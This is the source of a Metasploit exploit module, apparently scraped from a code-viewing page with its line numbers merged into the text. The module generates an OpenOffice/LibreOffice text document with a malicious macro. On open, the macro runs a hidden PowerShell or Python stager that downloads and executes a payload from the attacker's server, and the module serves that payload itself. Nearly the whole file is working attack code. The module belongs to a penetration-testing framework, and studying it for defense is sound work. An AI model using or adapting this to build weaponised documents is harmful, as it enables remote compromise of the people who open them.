Path: blob/master/modules/exploits/multi/misc/openoffice_document_macro.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'6require 'cgi'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::FILEFORMAT12include Msf::Exploit::Powershell13include Msf::Exploit::Remote::HttpServer1415WINDOWSGUI = 'windows'16OSXGUI = 'osx'17LINUXGUI = 'linux'1819def initialize(info = {})20super(21update_info(22info,23'Name' => "Apache OpenOffice Text Document Malicious Macro Execution",24'Description' => %q{25This module generates an Apache OpenOffice Text Document with a malicious macro in it.26To exploit successfully, the targeted user must adjust the security level in Macro27Security to either Medium or Low. If set to Medium, a prompt is presented to the user28to enable or disable the macro. If set to Low, the macro can automatically run without29any warning.3031The module also works against LibreOffice.32},33'License' => MSF_LICENSE,34'Author' => [35'sinn3r' # Metasploit36],37'References' => [38['URL', 'https://en.wikipedia.org/wiki/Macro_virus']39],40'DefaultOptions' => {41'EXITFUNC' => 'thread',42'DisablePayloadHandler' => false43},44'Targets' => [45[46'Apache OpenOffice on Windows (PSH)', {47'Platform' => 'win',48'Arch' => [ARCH_X86, ARCH_X64]49}50],51[52'Apache OpenOffice on Linux/OSX (Python)', {53'Platform' => 'python',54'Arch' => ARCH_PYTHON55}56]57],58'Privileged' => false,59'DisclosureDate' => '2017-02-08',60'Notes' => {61'Reliability' => UNKNOWN_RELIABILITY,62'Stability' => UNKNOWN_STABILITY,63'SideEffects' => UNKNOWN_SIDE_EFFECTS64}65)66)6768register_options([69OptString.new("BODY", [false, 'The message for the document body', '']),70OptString.new('FILENAME', [true, 'The OpenOffice Text document name', 'msf.odt'])71])72end7374def on_request_uri(cli, req)75print_status("Sending payload")7677if target.name =~ /PSH/78p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)79else80p = payload.encoded81end8283send_response(cli, p, 'Content-Type' => 'application/octet-stream')84end8586def primer87print_status("Generating our odt file for #{target.name}...")88path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro')89docm = package_odt(path)90file_create(docm)91end9293def get_windows_stager94%Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")|95end9697def get_unix_stager98%Q|Shell("#{generate_python_stager}")|99end100101def generate_psh_stager102@windows_psh_stager ||= lambda {103ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl104download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)105download_and_run = "#{ignore_cert}#{download_string}"106generate_psh_command_line(107noprofile: true,108windowstyle: 'hidden',109command: download_and_run110)111}.call112end113114def generate_python_stager115@python_stager ||= lambda {116%Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""|117}.call118end119120def get_statger121case target.name122when /PSH/123get_windows_stager124when /Python/125get_unix_stager126end127end128129# This macro code has the following in mind:130# 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX,131# we only want to fire at those.132# 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it.133# This turned out to be problematic, because for some reason OpenOffice is not able to134# write a large string to a file (I've tried either shell("echo") or using the macro API).135# The stager code is similar to web_delivery.136def macro_code137CGI.escapeHTML(%Q|138Sub OnLoad139Dim os as string140os = GetOS141If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then142Exploit143end If144End Sub145146Sub Exploit147#{get_statger}148End Sub149150Function GetOS() as string151select case getGUIType152case 1:153GetOS = "#{WINDOWSGUI}"154case 3:155GetOS = "#{OSXGUI}"156case 4:157GetOS = "#{LINUXGUI}"158end select159End Function160161Function GetExtName() as string162select case GetOS163case "#{WINDOWSGUI}"164GetFileName = "exe"165case else166GetFileName = "bin"167end select168End Function169|)170end171172def on_file_read(short_fname, full_fname)173buf = File.read(full_fname)174175case short_fname176when /content\.xml/177buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])178when /Module1\.xml/179buf.gsub!(/CODEGOESHERE/, macro_code)180end181182yield short_fname, buf183end184185def package_odt(path)186zip = Rex::Zip::Archive.new187188Dir["#{path}/**/**"].each do |file|189p = file.sub(path + '/', '')190191if File.directory?(file)192print_status("Packaging directory: #{file}")193zip.add_file(p)194else195on_file_read(p, file) do |fname, buf|196print_status("Packaging file: #{fname}")197zip.add_file(fname, buf)198end199end200end201202zip.pack203end204205def exploit206super207end208end209210211